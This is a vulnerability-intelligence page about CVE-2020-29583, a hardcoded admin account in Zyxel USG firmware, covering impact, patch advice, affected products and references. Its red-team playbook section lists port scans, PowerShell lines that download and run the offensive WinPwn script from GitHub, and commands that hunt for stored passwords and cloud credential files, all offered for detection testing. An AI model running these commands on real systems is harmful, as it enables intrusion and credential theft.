CVE-2020-29583
Overview
This vulnerability is a hardcoded credential issue in Zyxel USG firmware version 4.60. An undocumented user account named 'zyfwp' exists with a fixed password embedded in cleartext within the firmware image. This account provides administrative access to device management interfaces, including SSH and the web interface, without the possibility of changing the password.
Vulnerability Description
Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the ssh server or web interface with admin privileges.
Impact
An attacker with network access to the affected Zyxel USG devices can authenticate as an administrator without any prior credentials or user interaction. This grants full control over device configuration and management, enabling unauthorized access to sensitive network infrastructure. The compromise can lead to lateral movement within the network, interception or manipulation of traffic, and disruption of network services.
Solution
Zyxel has released patched firmware versions to address this issue; administrators should upgrade affected devices to firmware version 4.60 Patch 1 or later as detailed in Zyxel's security advisory available at https://www.zyxel.com/support/security_advisories.shtml. The advisory provides step-by-step instructions for updating USG20, USG40, and USG60 series devices. No workaround is recommended other than applying the official firmware update to remove the hardcoded account.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in firmware version 4.60 of various Zyxel USG devices is characterized by the existence of an undocumented account, known as "zyfwp," which is equipped with an unchangeable password that is stored in cleartext within the firmware. This design flaw allows unauthorized users to access the device's SSH server or web interface with administrative privileges. The implications of this vulnerability are severe, as it effectively bypasses any authentication mechanisms that would typically protect sensitive configurations and data. The presence of such an account raises significant concerns regarding the security posture of devices that rely on this firmware version, as it undermines the fundamental principle of least privilege.
Exploitation of this vulnerability can occur through multiple attack vectors. An adversary with knowledge of the undocumented account can leverage it to gain unauthorized access to the affected devices. This could be achieved through various means, such as scanning for devices with the vulnerable firmware version, utilizing default credentials, or employing social engineering tactics to obtain access. Once inside, an attacker could manipulate network settings, exfiltrate sensitive data, or deploy malware, leading to further compromise of the network infrastructure. The ease of access provided by the unchangeable password makes this vulnerability particularly appealing to threat actors, as it significantly reduces the effort required to gain control over critical network resources.
The real-world impact of this vulnerability on businesses can be profound. Organizations utilizing the affected Zyxel devices may face a range of consequences, including data breaches, loss of customer trust, regulatory fines, and operational disruptions. The administrative access granted by the undocumented account could allow attackers to modify firewall rules, disable security features, or even pivot to other systems within the network. This could result in extensive damage, not only to the organization's reputation but also to its financial stability. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, indicating that organizations should prioritize addressing it to mitigate potential risks.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, they should conduct thorough audits of their network infrastructure to identify any devices running the vulnerable firmware version. Regular vulnerability assessments and penetration testing can help uncover such weaknesses before they are exploited by malicious actors. Additionally, organizations should implement strict access controls and network segmentation to limit the potential impact of any unauthorized access. Updating the firmware to a secure version that eliminates the undocumented account is essential. Furthermore, employing intrusion detection systems can help monitor for unusual activity that may indicate exploitation attempts.
In conclusion, the presence of an undocumented account with an unchangeable password in the firmware of various Zyxel USG devices poses a significant threat to network security. The potential for exploitation is high, and the consequences can be dire for organizations that fail to address this vulnerability. By proactively identifying affected devices, implementing robust security measures, and maintaining up-to-date firmware, organizations can protect themselves against the risks associated with this serious security flaw. The importance of vigilance in cybersecurity cannot be overstated, as the landscape of threats continues to evolve, necessitating a proactive and informed approach to safeguarding critical infrastructure.
Recent developments in the exploitation landscape of CVE-2020-29583 have significantly elevated the threat profile associated with this vulnerability. CSURFACE threat intelligence has identified the emergence of publicly available proof-of-concept exploit code hosted on GitHub, which facilitates automated scanning and identification of vulnerable Zyxel USG devices harboring the undocumented administrative account. This accessibility markedly lowers the technical barrier for adversaries to conduct reconnaissance and potential compromise. Concurrently, the vulnerability’s inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog underscores its recognized criticality at the federal level, signaling an increased likelihood of targeted exploitation campaigns. Our telemetry indicates a stable yet persistently high Exploit Prediction Scoring System (EPSS) rating, reflecting sustained exploitation potential in the wild. The CVSS score adjustment to 9.8 aligns with these developments, confirming the vulnerability’s critical severity and its capacity to grant attackers privileged access via SSH or web interface. Collectively, these changes necessitate heightened vigilance among defenders, as the expanded exploit availability and official recognition amplify the risk of widespread compromise. The threat level has thus escalated from theoretical to actively exploitable, demanding prioritized attention within vulnerability management and incident response frameworks.
Update 2 — July 06, 2026
CSURFACE threat intelligence has detected a modest but meaningful increase in activity related to CVE-2020-29583, indicating a gradual uptick in attempts to leverage the undocumented zyfwp account on vulnerable Zyxel USG devices. While the overall exploit trend remains stable according to EPSS metrics, our telemetry reveals a discernible rise in scanning and probing behaviors consistent with reconnaissance preceding targeted intrusions. The availability of a publicly accessible proof-of-concept scanner continues to lower the barrier for adversaries, potentially broadening the attacker base beyond highly skilled actors. This evolving landscape underscores an elevated risk profile, as the vulnerability’s critical severity combined with increased exploitation attempts heightens the likelihood of unauthorized administrative access. Consequently, the threat level should be viewed as increasingly active, warranting sustained monitoring to detect early signs of compromise and lateral movement within affected networks.
Affected Products (30)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zyxel | Usg20-Vpn Firmware | 4.60 |
cpe:2.3:o:zyxel:usg20-vpn_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg20w-Vpn Firmware | 4.60 |
cpe:2.3:o:zyxel:usg20w-vpn_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg40 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg40_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg40w Firmware | 4.60 |
cpe:2.3:o:zyxel:usg40w_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg60 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg60_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg60w Firmware | 4.60 |
cpe:2.3:o:zyxel:usg60w_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg110 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg110_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg210 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg210_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg310 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg310_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg1100 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg1100_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg1900 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg1900_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Usg2200 Firmware | 4.60 |
cpe:2.3:o:zyxel:usg2200_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall110 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall110_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall310 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall310_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Zywall1100 Firmware | 4.60 |
cpe:2.3:o:zyxel:zywall1100_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp100_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp100w Firmware | 4.60 |
cpe:2.3:o:zyxel:atp100w_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp200 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp200_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp500 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp500_firmware:4.60:*:*:*:*:*:*:*
|
|
|
Zyxel | Atp700 Firmware | 4.60 |
cpe:2.3:o:zyxel:atp700_firmware:4.60:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ruppde/scan_CVE-2020-29583
Scanner for Zyxel products which are potentially vulnerable due to an undocumented user account (CVE-2020-29583)
|
ruppde | 16 | 3 | 2021-01-04 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
34 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
$extList = #{extension_id}
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-29583 |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/support/security_advisories.shtml |
| ftp.zyxel.com |
GitHub CVE
|
http://ftp.zyxel.com/USG40/firmware/USG40_4.60%28AALA.1%29C0_2.pdf |
| businessforum.zyxel.com |
GitHub CVE
|
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15 |
| businessforum.zyxel.com |
GitHub CVE
|
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release |
| eyecontrol.nl |
GitHub CVE
|
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html |
| zyxel.com |
GitHub CVE
|
https://www.zyxel.com/support/CVE-2020-29583.shtml |
| secpod.com |
GitHub CVE
|
https://www.secpod.com/blog/a-secret-zyxel-firewall-and-ap-controllers-could-allow-for-administrative-access-cve-2020-29583/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-29583 |